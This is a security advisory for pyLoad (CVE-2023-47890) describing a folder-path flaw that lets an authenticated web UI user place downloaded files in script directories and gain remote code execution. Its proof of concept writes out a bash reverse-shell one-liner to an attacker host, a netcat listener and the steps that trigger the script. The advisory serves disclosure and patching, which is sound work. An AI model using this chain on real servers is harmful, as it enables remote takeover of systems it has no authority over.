Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3

Download to arbitrary folder can lead to RCE

Summary

A web UI user can store files anywhere on the pyLoad server and gain command execution by abusing scripts.

Details

When a user creates a new package, a subdirectory is created within the /downloads folder to store files. This new directory name is derived from the package name, except a filter is applied to make sure it can't traverse directories and stays within /downloads.

src/pyload/core/api/init.py::add_package::L432

  folder = (
      folder.replace("http://", "")
      .replace("https://", "")
      .replace(":", "")
      .replace("/", "_")
      .replace("\\", "_")
  )

So if a package were created with the name "../" the application would instead create the folder "/downloads/.._/"

However, when editing packages there is no prevention in place and a user can just pick any arbitrary directory in the filesystem.

src/pyload/webui/app/blueprints/json_blueprint.py::edit_package::L195

  id = int(flask.request.form["pack_id"])
  data = {
      "name": flask.request.form["pack_name"],
      "_folder": flask.request.form["pack_folder"],
      "password": flask.request.form["pack_pws"],
  }

  api.set_package_data(id, data)

Steps to reproduce

1. Login to a pyLoad instance
2. Go to "Queue" and create a new package with any name and a valid link
3. Click "Edit Package" on the newly created package and set the folder as "/config/scripts/download_finished/"
4. Restart the package
5. Check the server filesystem and note the link was downloaded and stored inside "/config/scripts/download_finished/"

Remote code execution proof-of-concept

It is possible to use this issue to abuse scripts and gain remote control over the pyLoad server.

On attacker machine

1. Start a web server hosting a malicious script

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/<attacker_ip>/9999 0>&1' > evil.sh&1
sudo python3 -m http.server 80

2. Start netcat listener for reverse shells

nc -vklp 9999

On pyLoad

1. Change pyLoad file permission settings

   Change permissions of downloads: On
   Permission mode for downloaded files: 0744

2. Create a package with link pointing to the attacker

   http://<attacker_ip>/evil.sh

3. Edit package and change folder to /config/scripts/package_deleted/

4. Refresh package. Wait up to 60 seconds for scripts to be processed by pyLoad

5. Delete any package package to trigger the script

Impact

An authenticated user can gain control over the underlying pyLoad server.

Permalink: https://github.com/advisories/GHSA-h73m-pcfw-25h2
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oNzNtLXBjZnctMjVoMs4AA3S3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: about 1 year ago
Updated: about 1 year ago

CVSS Score: 7.7
CVSS vector: CVSS:3.1/AV:A/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

EPSS Percentage: 0.00078
EPSS Percentile: 0.35855

Identifiers: GHSA-h73m-pcfw-25h2, CVE-2023-47890
References:

• https://github.com/pyload/pyload/security/advisories/GHSA-h73m-pcfw-25h2
• https://github.com/pyload/pyload/commit/695bb70cd88608dc4fee18a6a7ecb66722ebfd8f
• https://nvd.nist.gov/vuln/detail/CVE-2023-47890
• http://pyload.com
• https://github.com/advisories/GHSA-h73m-pcfw-25h2

Repository: https://github.com/pyload/pyload
Blast Radius: 0.0

Affected Packages